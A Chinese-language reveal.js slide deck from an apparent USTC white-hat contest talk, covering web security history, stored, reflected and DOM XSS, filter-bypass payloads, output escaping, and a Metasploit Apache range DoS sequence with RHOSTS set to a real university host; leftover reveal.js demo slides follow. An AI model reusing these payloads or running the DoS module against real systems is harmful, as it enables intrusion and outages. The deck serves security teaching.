WhiteHat@USTC

在白帽子大赛，黑客不神秘

"Bojie Li" <bojieli (阿嚏) gmail.com>

什么是安全

• 机密性：不该看到的数据不能被看到
• 完整性：不该修改的数据不能被修改
• 可用性：系统不能被卡死或宕掉

什么不是漏洞

什么不是漏洞

未造成危害的 bug 不算漏洞

什么不是漏洞

业务逻辑上的漏洞 (Loophole) 不算技术漏洞 (Vulnerbility)

什么不是漏洞

用户的个人行为导致第三方利益受损，不算漏洞

&lt; 2000

• 攻击主要针对系统软件（例如黑客帝国中的 sshnuke）和网络设备
• 系统软件一旦发现漏洞，影响范围往往很大（例如内核 SCTP 协议栈缓冲区溢出、OpenSSL Heartbleed、Java Struts2 远程命令执行）
• 经典的网络攻击，如无线嗅探、WEP 无线密码破解；ARP 欺骗、ICMP redirect
• 针对系统软件的 0day 可遇不可求。当然学校里很多机器 uptime 转了一圈也不升级，497day 漏洞还是很多的

BETWEEN (2000, 2010)

• 随着防火墙的兴起和软件安全性的提高，影响严重的系统漏洞越来越难找了，开放在网络上的端口越来越少
• 一些人渗透用户的客户端（木马）
• 另一些人渗透服务器程序，当时的网站普遍不重视安全，到处都是 SQL 注入、代码下载、任意文件上传、弱口令。嗯，学校里的一些老旧网站仍然在这个阶段

&gt; 2010

• 中杀软比中木马还容易，一不留心就装上百度全家桶
• 再加上 UAC，客户端木马的日子越来越难过了
• Web 安全成了主要的突破口和问题最多的地方
• 网络上的数据越来越重要，要窃取某个特定用户的隐私，XSS、CSRF、点击劫持、Cookie 泄露等攻击越来越流行

F12 大法好

拉黑人人网非好友

存储型 XSS

XSS 的基本原理：数据和代码没有分离，导致对 HTML 的注入

<script>alert(1);</script>

绕过 XSS 过滤器

<scRiPt>alert(1);</scrIPt>

<scr<script>ipt>alert(1)</scr<script>ipt>

<a href="javascript:alert(1)">18 岁以下免进</a>

<img src=x onerror=alert(1);>

<video src=x onerror=alert(1);>

<a onmouseover="javascript:window.onerror=alert;throw 1>

<meta http-equiv="refresh" content="0;url=//evil.com">

更多

反射型 XSS

反射型 XSS 的基本原理：URL 参数回显在页面上

http://example.com/search?keyword=<script>alert(1)</script>

无回显，无 XSS

http://lib.ustc.edu.cn/电子资源/database/试用数据库/【试用】astm数据库/

http://lib.ustc.edu.cn/服务公告/【通知】办理2015届本科毕业生离校注销手续的通知/

反射型 XSS

如果 URL 参数只是回显在输入框里，有时需要把输入框的引号闭合掉

http://example.com/search?keyword="><script>alert(1);</script>

http://example.com/search?keyword="><img src=x onerror=alert(1);>

http://example.com/search?keyword=" autofocus onfocus=alert(1)//

样例：http://stuhome.ustc.edu.cn/search.php

DOM-based XSS

HTML 实体转义就够了吗

                      <a onclick="alert('{{ userinput }}')"></a>
                    

                      用户提交: ');alert('1
                      userinput = htmlspecialchars("');alert('1");
                    

                      HTML 实体字符先被解析，JavaScript 再被执行
                      <a onclick="alert('');alert('1');"></a>
                    

不同的地方使用不同的转义

• HTML 里转义 HTML 特殊字符（<）为实体字符（&lt;）
• JavaScript 里变量需在引号内，并转义引号，加反斜杠
• URL 里转义需要使用 URL Encode（空格变成%20）
• 前后端程序统一使用 UTF-8 编码，避免编码漏洞

SQL 注入

SQL 注入原理：数据与代码混杂。

Metasploit

# msfconsole

use auxiliary/dos/http/apache_range_dos

show options

set RHOSTS wlt.ustc.edu.cn

set ACTION CHECK

run

Slides

Not a coder? Not a problem. There's a fully-featured visual editor for authoring these, try it out at http://slides.com.

Point of View

Press ESC to enter the slide overview.

Hold down alt and click on any element to zoom in on it using zoom.js. Alt + click anywhere to zoom back out.

Touch Optimized

Presentations look great on touch devices, like mobile phones and tablets. Simply swipe through your slides.

Transition Styles

You can select from different transitions, like:
None - Fade - Slide - Convex - Concave - Zoom

Themes

reveal.js comes with a few themes built in:
Black (default) - White - League - Sky - Beige - Simple
Serif - Night - Moon - Solarized

Background Transitions

Different background transitions are available via the backgroundTransition option. This one's called "zoom".

Reveal.configure({ backgroundTransition: 'zoom' })

Background Transitions

You can override background transitions per-slide.

<section data-background-transition="zoom">

Pretty Code

function linkify( selector ) {
  if( supports3DTransforms ) {

    var nodes = document.querySelectorAll( selector );

    for( var i = 0, len = nodes.length; i < len; i++ ) {
      var node = nodes[i];

      if( !node.className ) {
        node.className += ' roll';
      }
    }
  }
}
					

Code syntax highlighting courtesy of highlight.js.

Marvelous List

• No order here
• Or here
• Or here
• Or here

Fantastic Ordered List

1. One is smaller than...
2. Two is smaller than...
3. Three!

Tabular Tables

Clever Quotes

These guys come in two forms, inline: “The nice thing about standards is that there are so many to choose from” and block:

“For years there has been a theory that millions of monkeys typing at random on millions of typewriters would reproduce the entire works of Shakespeare. The Internet has proven this theory to be untrue.”

Intergalactic Interconnections

You can link between slides internally, like this.

Speaker View

There's a speaker view. It includes a timer, preview of the upcoming slide as well as your speaker notes.

Press the S key to try it out.

Export to PDF

Presentations can be exported to PDF, here's an example:

Global State

Set data-state="something" on a slide and "something" will be added as a class to the document element when the slide is open. This lets you apply broader style changes, like switching the page background.

State Events

Additionally custom events can be triggered on a per slide basis by binding to the data-state name.

Reveal.addEventListener( 'customevent', function() {
	console.log( '"customevent" has fired' );
} );
					

Take a Moment

Press B or . on your keyboard to pause the presentation. This is helpful when you're on stage and want to take distracting slides off the screen.

Much more

• Right-to-left support
• Extensive JavaScript API
• Auto-progression
• Parallax backgrounds
• Custom keyboard bindings

THE END

- Try the online editor
- Source code & documentation